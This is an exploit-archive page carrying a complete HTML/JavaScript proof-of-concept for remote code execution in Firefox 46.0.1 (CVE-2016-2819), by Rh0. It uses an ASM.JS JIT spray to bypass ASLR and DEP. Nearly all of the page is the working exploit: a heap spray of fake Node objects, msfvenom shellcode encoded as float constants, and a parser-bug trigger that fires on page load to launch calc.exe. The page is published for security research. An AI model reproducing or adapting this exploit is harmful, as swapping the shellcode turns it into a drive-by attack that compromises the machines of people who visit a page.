Firefox 46.0.1 ASM.JS JIT-Spray Remote Code Execution

2018.03.18
Credit: Rh0
Risk: High
Local: No
Remote: Yes
CWE: N/A

<!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) *PoC* Exploit against Firefox 46.0.1 (CVE-2016-2819) ASM.JS float constant pool JIT-Spray special shown at OffensiveCon 2018 Tested on: Firefox 46.0.1 32-bit - Windows 10 1709 https://ftp.mozilla.org/pub/firefox/releases/46.0.1/win32/en-US/Firefox%20Setup%2046.0.1.exe Howto: 1) serve PoC over network and open it in Firefox 46.0.1 32-bit 2) A successfull exploit attempt should pop calc.exe Mozilla Bug Report: https://bugzilla.mozilla.org/show_bug.cgi?id=1270381 Writeup: https://rh0dev.github.io/blog/2018/more-on-asm-dot-js-payloads-and-exploitation/ - For research purposes only - (C) Rh0 Mar. 13, 2018 --> <title>CVE-2016-2819 and ASM.JS JIT-Spray</title> <head> <meta charset=UTF-8 /> <script> "use strict" var Exploit = function(){ this.asmjs = new Asmjs() this.heap = new Heap() } Exploit.prototype.go = function(){ /* target address of fake node object */ var node_target_addr = 0x5a500000 /* target address of asm.js float pool payload*/ var target_eip = 0x20200b58 /* spray asm.js float constant pools */ this.asmjs.spray_float_payload(0x1000) /* spray fake Node objects */ this.heap.spray(node_target_addr, target_eip) /* go! */ this.trigger_vuln(node_target_addr) }; Exploit.prototype.trigger_vuln = function(node_ptr){ document.body.innerHTML = '<table><svg><div id="BBBB">' this.heap.gc() var a = new Array() for (var i=0; i < 0x10100; i++){ /* array element (Node object ptr) control with integer underflow */ a[i] = new Uint32Array(0x100/4) for (var j=0; j<0x100/4; j++) a[i][j] = node_ptr } /* original crashing testcase document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}</style>' */ /* easier to exploit codepath */ document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}<DD>' window.location.reload() }; var Asmjs = function(){}; Asmjs.prototype.asm_js_module = function(stdlib, ffi){ "use asm" var foo = ffi.foo function payload(){ var val = 0.0 /* Fx 46.0.1 float constant pool of size 0xc0 is at 0xXXXX0b58*/ val = +foo( // $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py -1.587865768352248e-263, -8.692422460804815e-255, 7.529882109376901e-114, 2.0120602207293977e-16, 3.7204662687249914e-242, 4.351158092040946e+89, 2.284741716118451e+270, 7.620699014501263e-153, 5.996021286047645e+44, -5.981935902612295e-92, 6.23540918304361e+259, 1.9227873281657598e+256, 2.0672493951546363e+187, -6.971032919585734e+91, 5.651413300798281e-134, -1.9040061366251406e+305, -1.2687640718807038e-241, 9.697849844423e-310, -2.0571400761625145e+306, -1.1777948610587587e-123, 2.708909852013898e+289, 3.591750823735296e+37, -1.7960516725035723e+106, 6.326776523166028e+180 ) return +val; } return payload }; Asmjs.prototype.spray_float_payload = function(regions){ this.modules = new Array(regions).fill(null).map( region => this.asm_js_module(window, {foo: () => 0}) ) }; var Heap = function(target_addr, eip){ this.node_heap = [] }; Heap.prototype.spray = function(node_target_addr, target_eip){ var junk = 0x13371337 var current_address = 0x20000000 var block_size = 0x1000000 while(current_address < node_target_addr){ var fake_objects = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* target Node object needed to control EIP */ fake_objects[offset/4 + 0x00/4] = 0x29 fake_objects[offset/4 + 0x0c/4] = 3 fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18 fake_objects[offset/4 + 0x18/4] = 1 fake_objects[offset/4 + 0x1c/4] = junk fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24 fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28 fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c fake_objects[offset/4 + 0x2c/4] = target_eip } this.node_heap.push(fake_objects) current_address += block_size } }; Heap.prototype.gc = function(){ for (var i=0; i<=10; i++) var x = new ArrayBuffer(0x1000000) }; </script> <head> <body onload='exploit = new Exploit(); exploit.go()' />

References:

https://rh0dev.github.io/blog/2018/more-on-asm-dot-js-payloads-and-exploitation/
https://bugzilla.mozilla.org/show_bug.cgi?id=1270381


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top